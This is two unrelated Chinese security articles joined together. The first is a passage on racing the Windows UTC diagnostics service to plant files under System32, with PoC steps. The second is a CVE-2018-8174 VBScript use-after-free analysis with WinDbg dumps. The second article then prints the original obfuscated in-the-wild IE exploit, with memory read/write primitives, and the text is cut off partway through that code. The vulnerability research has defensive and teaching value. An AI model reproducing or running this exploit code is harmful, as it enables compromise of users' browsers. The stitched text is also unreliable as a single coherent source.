此时，我们需要澄清如何提交请求。分析各种应用后，我们找到了Microsoft Feedback Hub，这是一个UWP（Universal Windows
Platform，通用Windows平台）应用程序，已在Windows
10默认安装。有些情况下，调试UWP应用能够给我提供很多信息。不幸的是，我们无法使用WinDbg直接打开或者attach
UWP应用。然而，我们可以使用Windows 10 SDK中Windows
Debugger包含的PLMDebug工具来启用UWP应用调试功能。首先我们可以通过Powershell内置cmdlet来确定Feedback
Hub的完整包名：
PS C:Usersresearcher> Get-AppxPackage | Select-String -pattern "Feedback"
Microsoft.WindowsFeedbackHub_1.1809.2971.0_x86__8wekyb3d8bbwe
PS C:Usersresearcher> cd "c:Program FilesWindows Kits10Debuggersx86"
PS C:Program FilesWindows Kits10Debuggersx86>
PS C:Program FilesWindows Kits10Debuggersx86> .plmdebug.exe /query
Microsoft.WindowsFeedbackHub_1.1809.2971.0_x86__8wekyb3d8bbwe
Package full name is Microsoft.WindowsFeedbackHub_1.1809.2971.0_x86__8wekyb3d8bbwe.
Package state: Unknown
SUCCEEDED
PS C:Program FilesWindows Kits10Debuggersx86>
获取完整包名后，我们可以再次使用PLMDebug，启用Feedback Hub的UWP调试功能：
c:Program FilesWindows Kits10Debuggersx86>plmdebug.exe /enabledebug Microsoft.WindowsFeedbackHub_1.1809.2971.0_x86__8wekyb3d8bbwe "c:program fileswindows kits10Debuggersx86windbg.exe"
Package full name is Microsoft.WindowsFeedbackHub_1.1809.2971.0_x86__8wekyb3d8bbwe.
Enable debug mode
SUCCEEDED
下次启动Feedback Hub时，应用就会自动attach到WinDbg。
图6. 根据Process Monitor Event Properties窗口确定API调用的偏移地址
启动Feedback Hub后，我们可以遵循应用在屏幕上给出的提示进行操作，然后就能在Process
Monitor中观察各种活动记录。这是个好兆头，表明我们的方向没有问题。当我们分析`SetSecurityFile`事件的调用栈时，我们发现`SetSecurityInfo`这个ACL
API 的偏移地址为`0x15A091`（我们可以在Event
Properties窗口的Process选项卡中找到`diagtrack.dll`的基址）。这个偏移地址位于`Microsoft::Diagnostics::Utils::FileSystem::SetTokenAclOnFile`例程中，如图6所示，我们也可以在图5的Proximity
view中找到这个值。这些信息表明我们可以利用Feedback Hub，最终得到我们想要的代码路径。
除此之外，从Process
Monitor输出信息中，我们还知道这个事件会尝试设置文件对象的DACL，但如果想通过静态代码分析来找出文件对象的获取方式可能是一件非常耗时的事情。幸运的是，我们可以将本地调试器attach到`svchost.exe`程序上，这是因为该进程不受PPL（Protected
Process Light）机制的保护，并且托管了具备管理员权限的UTC服务。这样我们就可以灵活地动态调试UTC服务，理解文件路径的获取过程。
将反馈信息通过Feedback
Hub提交后，所有的反馈信息和相关附件都会保存在临时目录中，格式为`%DOCUMENTS%\FeedbackHub\<guid>\diagtracktempdir<random_decimals>`。其中在`diagtracktempdir`后的十进制随机数使用`BCryptGenRandom`
API生成，这意味着所生成的随机数基本上无法预测。然而符号链攻击中非常重要的一环就是要预测文件或者目录的名称，因此随机生成的`diagtracktempdir`的确增加了符号链漏洞利用的难度。因此，我们需要深入其他例程，寻找其他潜在的漏洞。
当我们尝试理解如何设置`diagtracktempdir`安全描述符时，我们发现目标会使用显式安全描述符字符串（即`O:BAD:P(A;OICI;GA;;;BA)(A;OICI;GA;;;SY)`）来创建目录，这意味着对象的DACL只会绑定到Administrator以及本地系统用户。然而，如果设置了如下注册表键值，系统就会忽略显式安全描述符：
HKEY_LOCAL_MACHINE\Software\Microsoft\Diagnostics\DiagTaskTestHooks\Volatile
“NoForceCopyOutputDirAcl” = 1
简而言之，如果不存在如上表项，那么`diagtracktempdir`就会强制使用显式安全描述符，否则就会在目录上应用默认的DACL。这可能会引发一些安全问题，因为文件创建过程中不会使用任何模拟（impersonation）令牌。无论如何，如果我们具备注册表任意写入漏洞，就可以绕过该目录中显式安全描述符的限制。但这并不是我们想要的结果，因此我们最好还是回到Process
Monitor：
图7. 设置DACL，重命名`diagtracktempdir`目录
我们可以将图7的操作过程总结如下：
1、以本地系统权限授予当前登录用户对`diagtracktempdir`的访问权限；
2、通过模拟方式重命名`diagtracktempdir`目录；
3、通过模拟方式撤销当前登录用户对`diagtracktempdir`的访问权限。
图7的操作过程可以通过如下代码段来表示：
bQueryTokenSuccessful = UMgrQueryUserToken(hContext, v81, &hToken);
if ( hToken && hToken != -1 )
{
// This will GRANT access of the current logged in user to the directory in the specified handle
bResultCopyDir = Microsoft::Diagnostics::Utils::FileSystem::SetTokenAclOnFile(&hToken, hDir, Sid, GRANT_ACCESS)
if ( !ImpersonateLoggedOnUser(hToken) )
{
bResultCopyDir = 0x80070542;
}
}
// Rename diagtracktempdir to GUID-styled folder name
bResultCopyDir = Microsoft::Diagnostics::Utils::FileSystem::MoveFileByHandle(SecurityDescriptor, v65, Length);
if ( bResultCopyDir >= 0 )
{
boolRenamedSuccessful = 1;
// This will REVOKE access of the current logged in user to the directory in the specified handle
bSetAclSucessful = Microsoft::Diagnostics::Utils::FileSystem::SetTokenAclOnFile(&hToken, hDir, Sid, REVOKE_ACCESS)if (bSetAclSucessful)
{
// Cleanup and RevertToSelf
return;
}
}
else
{
lambda_efc665df8d0c0615e3786b44aaeabc48_::operator_RevertToSelf(&hTokenUser);
// Delete diagtracktempdir folder and its contents
lambda_8963aeee26028500c2a1af61363095b9_::operator_RecursiveDelete(&v83);
}
代码3：授予并取消当前用户对`diagtracktempdir`的访问权限
从代码3中，我们可知文件重命名操作会在什么情况下失败。如果`bResultCopyDir`的值小于0，那么执行流程就会调用`RecursiveDelete`函数。此外还需要注意的是，在调用`RecursiveDelete`函数之前，程序会先调用`RevertToSelf`函数来停止模拟，这意味着系统会使用本地系统权限来删除目标目录及目录内容。因此，如果我们能使用符号链接来将`diagtracktempdir`重定向到一个任意目录，就可以实现任意文件删除目标。幸运的是，微软已经消除了这个潜在的问题。如果目录设置了`FILE_ATTRIBUTE_REPARSE_POINT`标志（`junction`目录通常会设置该标志），那么`RecursiveDelete`函数就会显式跳过这些目录。因此我们可以确定，这个删除操作并不会带来任何安全风险。
由于我们无法实现任意文件删除，我们决定分享一下如何将任意文件写入`diagtracktempdir`目录中。查看代码，我们发现在递归删除操作完成后，UTC服务并不会撤销当前用户对`diagtracktempdir`目录的安全描述符。这是系统有意为之的行为，因为我们并不需要在一个即将被删除的目录上附加新的DACL，这是多余的操作。然而这也为攻击者提供了一个潜在的竞争条件机会，攻击者可以在同一个目录中创建带有独占文件句柄的文件来避免系统删除`diagtracktempdir`目录。当`RecursiveDelete`函数尝试打开和删除带有独占文件句柄的文件时，就会碰到共享冲突，然后正常退出执行。最终，攻击者可以将文件释放到受限目录（如`C:\WINDOWS\System32`）的`diagtracktetempdir`目录中并加以执行。
那么下一个问题就是，我们如何让文件重命名操作失败？查看`Microsoft::Diagnostics::Utils::FileSystem::MoveFileByHandle`的底层实现后，我们可以看到这本质上是一个封装函数，用来调用`SetFileInformationByHandle`
API。我们发现派生自该API的底层内核函数似乎总会获取到父目录的一个可写权限文件句柄。比如，如果文件句柄当前指向的是`c:\blah\abc`，那么系统就会尝试获取`c:\blah`目录具备可写权限的文件句柄。然而，如果我们我们指定当前登录用户不具备写入权限的某个目录，那么`Microsoft::Diagnostics::Utils::FileSystem::MoveFileByHandle`就可能无法正常执行。我们可以使用如下目录，因为这些目录不允许普通用户账户执行目录创建操作。
C:\WINDOWS\System32
C:\WINDOWS\tasks
由于请求过程中需要将大量log文件写入我们可控的`diagtracktempdir`目录中，这需要一定时间来处理，因此我们应该有较大的把握能够在竞争条件中获胜。因此，如果我们在目标目录中创建了独占文件句柄，那么大部分时间内，在搭载多核处理器的操作系统上我们应该都能完成任务。
接下来，我们需要找到办法，以编程方式使用`UtcApi`所需的正确参数来触发这条代码路径。由于我们能够在RPC函数上调试并设置断点，Feedback
Hub中的`NdrClientCall`函数可以让我们的工作更加轻松。从调试器中我们可以知道Scenario
ID，也可以知道需要发送给`UtcApi`的文件路径。在本例中，我们准备使用的Scenario
ID为`{1881A45E-01FD-4452-ACE4-4A23666E66E3}`，貌似`UtcApi_EscalateScenarioAsync`例程被触发时都能看到这个值，并且也能触及RPC服务器上我们所需的代码路径。需要注意的是，我们还可以使用这个文件路径来控制`diagtracktempdir`的具体创建位置。
Breakpoint 0 hit
eax=0c2fe7b8 ebx=032ae620 ecx=0e8be030 edx=00000277 esi=0c2fe780 edi=0c2fe744
eip=66887154 esp=0c2fe728 ebp=0c2fe768 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
Helper+0x37154:
66887154 ff15a8f08866 call dword ptr [Helper!DllGetActivationFactory+0x6d31 (6688f0a8)] ds:0023:6688f0a8={RPCRT4!NdrClientCall4 (76a74940)}
0:027> dds esp l9
0c2fe728 66892398 Helper!DllGetActivationFactory+0xa021
0c2fe72c 66891dca Helper!DllGetActivationFactory+0x9a53
0c2fe730 0e8be030
0c2fe734 1881a45e // Scenario ID
0c2fe738 445201fd
0c2fe73c 234ae4ac
0c2fe740 e3666e66
0c2fe744 00000000
0c2fe748 032ae620 // Escalation path
0:027> du 032ae620
032ae620 "E:\researcher\Documents\Feedback"
032ae660 "Hub\{e04b7a09-02bd-42e8-a5a8-666"
032ae6a0 "b5102f5de}\{e04b7a09-02bd-42e8-a"
032ae6e0 "5a8-666b5102f5de}"
`UtcApi_EscalateScenarioAsync`的函数原型如下所示：
long UtcApi_EscalateScenarioAsync (
[in] GUID SecnarioID,
[in] int16 unknown,
[in] wchar_t* wszEscalationPath
[in] long unknown2,
[in] long unknown3,
[in] long num_of_keyval_pairs,
[in] wchar_t **keys,
[in] wchar_t **values)
结合以上信息，我们的PoC代码操作过程可以分为如下几个步骤：
1、创建一个循环线程，监视我们的目标目录（如`C:\WINDOWS\SYSTEM32`），以便及时捕捉到`diagtracktempdir`的目录名；
2、创建另一个循环线程，该线程会创建`C:\WINDOWS\SYSTEM32\diagtracktempdir{random_decimal}\z`的一个独占句柄；
3、调用`UtcApi_EscalateScenarioAsync(1881A45E-01FD-4452-ACE4-4A23666E66E3)`，触发`Microsoft::Diagnostic::EscalationWorkItem::Execute`；
4、随后，攻击者可以向`C:\WINDOWS\SYSTEM32\diagtracktempdir{random_decimal}`目录中写入并执行任意文件，与此同时合法程序会认为`%SYSTEM32%`目录中只包含合法的OS文件。
我们的PoC演示了一种潜在利用方法，可以利用UTC服务在受限目录的静态目录中创建任意文件及目录。
图8. 可以在`diagtracktempdi`目录中创建任意文件的PoC代码
重申一下，如MSRC所述，如果不能控制或者重命名`diagtracktempdir`目录，这个PoC并不会对Windows系统带来安全风险。然而，恶意软件开发者通常会使用各种不同的技术（如UAC绕过技术），将文件写入Windows系统目录中，以便绕过启发式检测器。实际上，在探索PoC中可以使用的潜在文件路径时，我们发现`C:\WINDOWS\SYSTEM32\Tasks`目录包含普通用户账户的写入和执行权限，但没有读取权限，这也是为什么该目录经常会被恶意软件开发者用来存储恶意文件。
## 四、总结
在本文中，我们与大家分享了如何使用不同的工具和在线资源来寻找Windows
RPC服务器中的潜在安全风险。我们同样演示了逆向分析RPC服务器所需的一些基础知识。我们相信RPC服务器中还有其他潜在的安全风险尚未发掘，因此，我们将进一步加强Windows
RPC服务器的安全性。在下一篇文章中，我们会继续调查。改进我们的方法，继续发现其他RPC服务器漏洞。 | 社区文章 |
# CVE-2018-8174——UAF漏洞
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、 前言
CVE-2018-8174漏洞在当时影响最新版本的IE浏览器以及使用了IE内核的应用程序。用户在浏览网页或者打开Office文档的时候都可能中招。该漏洞的核心就是UAF，也算是大家比较熟悉的一种漏洞，本次实验就是为了对该漏洞进行详细分析理解，并详细分析记录复现过程，供大家相互交流学习。
## 二、 实验目标
### 1 .漏洞实例简介
CVE-2018-8174是2018年4月份由360团队在一起APT攻击中捕获的0day，实际攻击样本中该漏洞结合CVE-2017-0199（一个关于office
ole相关的逻辑漏洞）实现远程代码访问执行，360将该漏洞命名为“双杀”漏洞。该漏洞存在于VBsCript引擎中，VbsCript在释放相关对象时对引用计数问题处理不善，当我们构造特定的对象引用即有可能借助该漏洞实现释放内存空间的访问，即UAF利用。这次实验就是为了从漏洞本身入手，熟练掌握windbg的使用以及深入理解该漏洞的利用技巧并且对VBS虚拟机脚本解释机制进行一定程度的刺探。
### 2 逆向目标
本次实验的主要目的就是为了介绍UAF漏洞本身的成因，尝试浮现还原整个利用攻击过程以及最后的调试分析CVE-2018-8174漏洞的成因和POC代码的验证。
### 3 漏洞基本原理
在介绍漏洞的原理前我们先来通过一段C++代码制造的悬垂指针来理解一下UAF，代码如下：
在指针p1被释放后，却仍然可以执行已经被释放的内存，而且在 free 了 p1 之后再次申请同样大小空间，操作系统会将刚刚 free 了的内存重新分配。
并且可以通过p2操作p1,那么如果再次使用p1，则可以通过p2修改程序功能等目的。p1就叫做悬垂指针，UAF会造成内存破坏的原因就是使用了悬垂指针。
在理解了上面的悬垂指针后再看在vbs中的悬垂指针是怎样的，用一个根据原始 PoC 修改的造成悬垂指针的脚本来理解一下：
如上图，在UAF函数中，Set array_a(1)=New Trigger 是创建了一个 Trigger 实例给数组array_a，Erase
array_a 在析构 array_a 中的元素时，会调用 Trigger 的重载的析构函数；在此函数中先增加了一个 array_b(0) 对
Trigger 实例的引用（Trigger实例引用计数+1），又通过 array_a(1)=1 删除 array_a(1) 对 Trigger
实例的引用，（Trigger的实例引用计数减1）来平衡引用计数后，才会彻底释放 Trigger 实例；但是此时 array_b(0)
仍然保留着这个类的引用，然后在 TriggerVuln 函数中，array_b(0)=0对 array_b(0) 进行访问时造成了触发漏洞，此时
array_b(0) 就叫做悬垂指针。
### 4 漏洞分析与验证的方法
对于漏洞的分析，是根据原始的POC仿造写了一个造成悬垂指针的脚本来进行分析，对于漏洞的验证则是通过仿写脚本的调试以及结合vbscript的IDA逆向分析的结合，最终产生一个浏览器崩溃的效果。
## 三、实验环境
### 1 工具
Windbg
### 2 环境
Win7、kali
## 四、 实验过程
### 1 漏洞复现
打开本地的CVE-2018-8174_PoC.html，可以发现触发了shellcode并且弹出了计算器：
### 2 逆向分析
漏洞的基本原理在上面已经讲过了，下面我们就直接用windbg进行调试。
先在windbg所在文件夹开启hpa页堆调试和ust栈回溯选项:
先不做任何断点来直接看一下IE的崩溃现场：
这表明访问了已经释放的内存导致奔溃，用!heap -p -a eax看一下：
可以看到对象所在的内存已经被释放了。
同时我们通过IDA逆向vbscript.dll看一下VBScriptClass::Release函数中的逻辑：
基本上每行有用的伪代码后面我都做了详细的注释，这里也就不细讲了，接下来直接用windbg进行漏洞的溯源。
首先给windbg中下断点：
bu vbscript!VBScriptClass::TerminateClass ".printf \"Class %mu at %x, terminate called\\n\", poi(@ecx + 0x24), @ecx; g";
bu vbscript!VBScriptClass::Release ".printf \"Class %mu at: %x ref counter, release called: %d\\n\", poi(@eax + 0x24), @ecx, poi(@eax + 0x4); g";
bu vbscript!VBScriptClass::Create+0x55 ".printf \"Class %mu created at %x\\n\", poi(@esi + 0x24), @esi; g";
bu vbscript!VbsIsEmpty
在按下g让程序运行以后，程序会断在我们脚本中设计的IsEmpty处：
我们可以看到Trigger对象创建在了61ff98的地方。
我们可以用dd命令看一下对象地址相对应的内容：
02指的就是引用计数，00469b8c存放的就是类的名字“Trigger”。下面是从网上找的VBscriptClass类结构图：
以上是通过在Create函数的地方下断点的方式来输出类的地址，下面就通过vbscript!VbsIsEmpty断点追溯到类的地址。
0:005> dd 61ff98
0061ff98 6dd41748 00000002 0061e6b0 0061d098
0061ffa8 00000850 00000000 00000000 01d4b41c
0061ffb8 00000000 00469b8c 00000000 00000000
0061ffc8 00000000 00000000 171305bb 0800218f
0061ffd8 01d4a428 00000001 111305bd 03002185
0061ffe8 00000000 00000000 00610038 00610038
0061fff8 00620000 00000000 000100ae 01000000
00620008 ffeeffee 00000001 fea000a8 fea000a8
0:005> dd poi(esp+c)
0061fe18 0000004a 000007ff 01d4b3f8 02000002 //01d4b3f8是数据结构地址
0061fe28 00610000 01d49828 00000001 00000000
0061fe38 0239cf68 0061fe58 01d489fc 00000001
0061fe48 00000000 00000141 00000148 01d48854
0061fe58 0239d1ac 0061fe98 00000001 00000000
0061fe68 0000400c 00000000 0061e548 00000000
0061fe78 0000400c 00000000 0061e508 00000000
0061fe88 00000000 0000000b 00000195 00000013
0:005> dd 1d4b3f8 l8
01d4b3f8 0000200c 000007ff 0046a4b0 02000002 //200c这两个字节表示的是VBScript变量类型，表示的是SAFEARRAY类型，ARRAY在046a4b0存放
01d4b408 00000000 00000000 3713059b 0c0121e1
0:005> dd 46a4b0
0046a4b0 08800001 00000010 00000000 004a5ba0//4a5ba0为array_a数据元素地址
+0x000 cDims : 1 //cDims表示维数
+0x002 fFeatures : 0x880
+0x004 cbElements : 0x10
+0x008 cLocks : 0
+0x00c pvData : 004a5ba0 Void //array_a数据元素地址
+0x010 rgsabound : [1] tagSAFEARRAYBOUND
0046a4c0 00000002 00000000 2ad0008a 80000000
0046a4d0 6a6a0050 00000000 6a327be0 0046c390
0046a4e0 6a333ce0 00000000 00000000 00000000
0046a4f0 00000000 00000000 2ad0008c 80000000
0046a500 00000056 00000000 00000000 00000000
0046a510 00000000 00000000 00000000 00000000
0046a520 00000000 00000000 2ad000b6 80000000
0:005> dd 4a5ba0
004a5ba0 00000000 00000000 00000000 00000000 //array_a(0)没有定义
004a5bb0 00000009 00000132 0061ff98 00000001 //array_a(1)type==0x9表示是一个object,值为0061ff98，这也是我们通过create断点得到的值，即类对象的地址
004a5bc0 2ad1908b 88000000 00000000 0046a328
004a5bd0 004a5d38 004a5a68 00000000 00000000
004a5be0 00000000 00000000 2ad1908e 88000000
004a5bf0 00000000 6dd9aa60 004a5c98 004a5c48
004a5c00 00000000 00000000 00000000 00000000
004a5c10 2ad19071 88000000 00000000 0040497c
接下来就执行到了第二个断点，即析构函数中的ISEmpty的时候（在Erase
array_a的时候，会触发Class_Terminate析构函数），此时Set array_b(0)=array_a(1)已执行：
Breakpoint 3 hit
eax=6dd4185c ebx=0239c938 ecx=6dd9a9d8 edx=0239c8b0 esi=01d4a574 edi=00000001
eip=6dd5c206 esp=0239c7cc ebp=0239c7dc iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!VbsIsEmpty:
6dd5c206 8bff mov edi,edi
0:005> dd poi(esp+c)
0061fde8 01d4600c 0061ff10 0061e554 00433018 //data buffer在00433018
0061fdf8 00000000 00000132 0061ff98 00000001
0061fe08 0239cd24 0061fe38 00610001 0000002b
0061fe18 0000400c 000007ff 0061e508 02000002
0061fe28 00610000 01d49828 00000001 00000000
0061fe38 0239cf68 0061fe58 01d489fc 00000001
0061fe48 00000000 00000141 00000148 01d48854
0061fe58 0239d1ac 0061fe98 00000001 00000000
0:005> dd 433018 //safearray结构
00433018 08920001 00000010 00000000 004a5f88
00433028 00000002 00000000 2ad63fad 8a000000
00433038 00420056 00530020 00720063 00700069
00433048 00200074 0061004c 0067006e 00610075
00433058 00650067 00000000 2ad63fa7 88000000
00433068 6a6acaf0 00000001 6a327be0 0044fa28
00433078 6a2c4320 0044fa28 6a322028 00000001
00433088 00000005 00000000 2ad63fb9 88000000
0:005> dd 4a5f88
004a5f88 00000009 00000132 0061ff98 00000001 //类型还是0x09，array_b(0)中此时保存着类对象地址
004a5f98 00000000 00000000 00000000 00000000
004a5fa8 2ad19006 80000000 000001b0 00000000
004a5fb8 00000000 00000000 00000000 00000000
004a5fc8 00000000 00000000 2ad19009 80000000
004a5fd8 000001b5 00000000 00000004 00008a0c
004a5fe8 003c0090 003c0090 003c0038 003c0038
004a5ff8 2ad1900c 8000a000 000001ba 00000000
0:005> dd 61ff98 //类对象地址
0061ff98 6dd41748 00000004 0061e6b0 0061d098
0061ffa8 00000850 00000000 00000000 01d4b41c
0061ffb8 00000001 00469b8c 00000000 00000000
0061ffc8 00000000 00000000 171305bb 0800218f
0061ffd8 01d4a428 00000001 111305bd 03002185
0061ffe8 00000000 00000000 00610038 00610038
0061fff8 00620000 00000000 000100ae 01000000
00620008 ffeeffee 00000001 fea000a8 fea000a8
0:005> du 469b8c //类名称
00469b8c "Trigger"
再然后就是第三次断点，此时Erase已经执行完毕，可以看到已经到了漏洞点：
在上面我们可以发现显然有些地方出现了错误，明明 array_b 还保留着对 Trigger Object引用的时候，Trigger Object却随着
Erase array_a被释放了。我们来看看错误的地方：
在IDA里面查看过 VBScriptClass::Release的伪代码，以及上面的调试后，我们猜测在脚本中的重载的析构函数中，Set
array_b(0)=array_a(1)这句是否有对Class Trigger的引用计数进行操作：
接下来通过windbg调试进行验证，首先在以下位置下断点：
bu vbscript!VbsErase
bu vbscript!VBScriptClass::Release
bu vbscript!VbsIsEmpty
bu vbscript!VBScriptClass::Create+0x55 ".printf \"Class %mu created at %x\\n\", poi(@esi + 0x24), @esi; g"
前面的几次 Release 不用看，一直到VbsErase后面的release的时候单步调试
（此时在调试日志中，类对象地址已经被bu vbscript!VBScriptClass::Create+0x55 “.printf \”Class %mu
created at %x\n\”, poi([@esi](https://github.com/esi "@esi") \+ 0x24),
[@esi](https://github.com/esi "@esi"); g”; 打印出来了，或者运行到 release 的时候的esp
+8也是类对象地址）
0:013> g
ModLoad: 6eb30000 6eb9b000 C:\Windows\system32\vbscript.dll
Class Trigger created at 412f58
Breakpoint 1 hit
eax=00412f58 ebx=0247cf90 ecx=6eb31748 edx=00000002 esi=00000000 edi=0041fe20
eip=6eb41ef3 esp=0247ce48 ebp=0247cf38 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!VBScriptClass::Release:
6eb41ef3 8bff mov edi,edi
0:005> g
Breakpoint 1 hit
eax=00412f58 ebx=00000320 ecx=6eb31748 edx=00000000 esi=0214b3f8 edi=00000009
eip=6eb41ef3 esp=0247cdfc ebp=0247ce0c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
vbscript!VBScriptClass::Release:
6eb41ef3 8bff mov edi,edi
0:005> g
Breakpoint 1 hit
eax=00412f58 ebx=00000320 ecx=6eb31748 edx=00000002 esi=0214b3f8 edi=00000009
eip=6eb41ef3 esp=0247d040 ebp=0247d050 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
vbscript!VBScriptClass::Release:
6eb41ef3 8bff mov edi,edi
0:005> g
Breakpoint 2 hit
eax=6eb3185c ebx=0247d1d4 ecx=6eb8a9d8 edx=0247d14c esi=0214a574 edi=00000001
eip=6eb4c206 esp=0247d068 ebp=0247d078 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!VbsIsEmpty:
6eb4c206 8bff mov edi,edi
0:005> g
Breakpoint 1 hit
eax=00412f58 ebx=00000020 ecx=6eb31748 edx=00000000 esi=001dde30 edi=00000009
eip=6eb41ef3 esp=0247cfb0 ebp=0247cfc0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
vbscript!VBScriptClass::Release:
6eb41ef3 8bff mov edi,edi
0:005> g
Breakpoint 0 hit
eax=6eb3185c ebx=0247d1d4 ecx=6eb8a5bc edx=0247d14c esi=0214a5d4 edi=00000001
eip=6eb82628 esp=0247d068 ebp=0247d078 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!VbsErase:
6eb82628 8bff mov edi,edi
0:005> g
Breakpoint 1 hit
eax=00412f58 ebx=00000020 ecx=6eb31748 edx=00000000 esi=001ddde0 edi=00000009
eip=6eb41ef3 esp=0247cfcc ebp=0247cfdc iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
vbscript!VBScriptClass::Release:
6eb41ef3 8bff mov edi,edi
0:005> dd 412f58
00412f58 6eb31748 00000001 0041d1c0 0041e1c8 //此时的引用计数是1，this指针指向0x30大小的Trigger对象结构
00412f68 0000087c 00000000 00000000 0041d3e4
00412f78 00000000 00188034 00000000 00000000
00412f88 0a7a72ca 00001341 0041df30 004100c4
00412f98 4e7b738e 0a001344 0041302c 0041306a
00412fa8 004130b4 00413116 00413150 00413198
00412fb8 004131c0 004131da 00413202 00413252
00412fc8 0041328e 004132bc 004132d8 00413450
再然后单步调试到：
b41efc 56 push esi
6eb41efd 8b35e412b36e mov esi,dword ptr [vbscript!_imp__InterlockedDecrement (6eb312e4)]
6eb41f03 57 push edi //edi中保存的便是object的引用计数
6eb41f04 8d7b04 lea edi,[ebx+4]
6eb41f07 57 push edi
6eb41f08 ffd6 call esi
6eb41f0a 894508 mov dword ptr [ebp+8],eax
6eb41f0d 85c0 test eax,eax //判断引用计数是否为零
6eb41f0f 0f84d8210000 je vbscript!VBScriptClass::Release+0x1e (6eb440ed) //为零则进入Release+0x1e，调用析构函数
6eb41f15 8b4508 mov eax,dword ptr [ebp+8]
6eb41f18 5f pop edi
之后的调试：
6eb440ed 57 push edi
6eb440ee ff15e812b36e call dword ptr [vbscript!_imp__InterlockedIncrement (6eb312e8)]
6eb440f4 8bcb mov ecx,ebx
6eb440f6 e829000000 call vbscript!VBScriptClass::TerminateClass (6eb44124) //在进入TerminateClass前引用计数为1
6eb440fb 57 push edi //在进入TerminateClass后引用计数还是为1
6eb440fc ffd6 call esi
6eb440fe 894508 mov dword ptr [ebp+8],eax
6eb44101 85c0 test eax,eax
6eb44103 0f850cdeffff jne vbscript!VBScriptClass::Release+0x43 (6eb41f15)
6eb44109 85db test ebx,ebx
6eb4410b 0f8404deffff je vbscript!VBScriptClass::Release+0x43 (6eb41f15)
问题就出现在它没有因为Set
array_b(0)=array_a(1)，而增加类对象的引用计数，造成了在类对象被释放后array_b(0)仍然指向那个类对象地址，而造成了悬垂指针。
最终看来，此漏洞就是存在于release
函数中，如果在自定义的脚本中重载了析构函数，在这个函数中操作了类的引用计数（UAF），而release函数不能正确的判断类的引用计数造成而去析构了这个类，但是仍然指向这个类的指针就变成了悬垂指针,后面通过这个悬垂指针进行一些操作来达到任意读写的目的。
#### 3 POC代码及验证
在这里先把原始POC放出来：
<!doctype html>
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta http-equiv="x-ua-compatible" content="IE=10">
<meta http-equiv="Expires" content="0">
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Cache-control" content="no-cache">
<meta http-equiv="Cache" content="no-cache">
</head>
<body>
<script language="vbscript">
Dim lIIl
Dim IIIlI(6),IllII(6)
Dim IllI
Dim IIllI(40)
Dim lIlIIl,lIIIll
Dim IlII
Dim llll,IIIIl
Dim llllIl,IlIIII
Dim NtContinueAddr,VirtualProtectAddr
IlII=195948557
lIlIIl=Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000")
lIIIll=Unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000")
IllI=195890093
Function IIIII(Domain)
lIlII=0
IllllI=0
IIlIIl=0
Id=CLng(Rnd*1000000)
lIlII=CLng((&h27d+8231-&H225b)*Rnd)Mod (&h137d+443-&H152f)+(&h1c17+131-&H1c99)
If(Id+lIlII)Mod (&h5c0+6421-&H1ed3)=(&h10ba+5264-&H254a) Then
lIlII=lIlII-(&h86d+6447-&H219b)
End If
IllllI=CLng((&h2bd+6137-&H1a6d)*Rnd)Mod (&h769+4593-&H1940)+(&h1a08+2222-&H2255)
IIlIIl=CLng((&h14e6+1728-&H1b5d)*Rnd)Mod (&hfa3+1513-&H1572)+(&h221c+947-&H256e)
IIIII=Domain &"?" &Chr(IllllI) &"=" &Id &"&" &Chr(IIlIIl) &"=" &lIlII
End Function
Function lIIII(ByVal lIlIl)
IIll=""
For index=0 To Len(lIlIl)-1
IIll=IIll &lIlI(Asc(Mid(lIlIl,index+1,1)),2)
Next
IIll=IIll &"00"
If Len(IIll)/(&h15c6+3068-&H21c0) Mod (&h1264+2141-&H1abf)=(&hc93+6054-&H2438) Then
IIll=IIll &"00"
End If
For IIIl=(&h1a1a+3208-&H26a2) To Len(IIll)/(&h1b47+331-&H1c8e)-(&h14b2+4131-&H24d4)
lIIIlI=Mid(IIll,IIIl*(&h576+1268-&Ha66)+(&ha64+6316-&H230f),(&ha49+1388-&Hfb3))
lIlIll=Mid(IIll,IIIl*(&hf82+3732-&H1e12)+(&h210+2720-&Hcaf)+(&h4fa+5370-&H19f2),(&hf82+5508-&H2504))
lIIII=lIIII &"%u" &lIlIll &lIIIlI
Next
End Function
Function lIlI(ByVal Number,ByVal Length)
IIII=Hex(Number)
If Len(IIII)<Length Then
IIII=String(Length-Len(IIII),"0") &IIII 'pad allign with zeros
Else
IIII=Right(IIII,Length)
End If
lIlI=IIII
End Function
Function GetUint32(lIII)
Dim value
llll.mem(IlII+8)=lIII+4
llll.mem(IlII)=8 'type string
value=llll.P0123456789
llll.mem(IlII)=2
GetUint32=value
End Function
Function IllIIl(lIII)
IllIIl=GetUint32(lIII) And (131071-65536)
End Function
Function lllII(lIII)
lllII=GetUint32(lIII) And (&h17eb+1312-&H1c0c)
End Function
Sub llllll
End Sub
Function GetMemValue
llll.mem(IlII)=(&h713+3616-&H1530)
GetMemValue=llll.mem(IlII+(&h169c+712-&H195c))
End Function
Sub SetMemValue(ByRef IlIIIl)
llll.mem(IlII+(&h715+3507-&H14c0))=IlIIIl
End Sub
Function LeakVBAddr
On Error Resume Next
Dim lllll
lllll=llllll
lllll=null
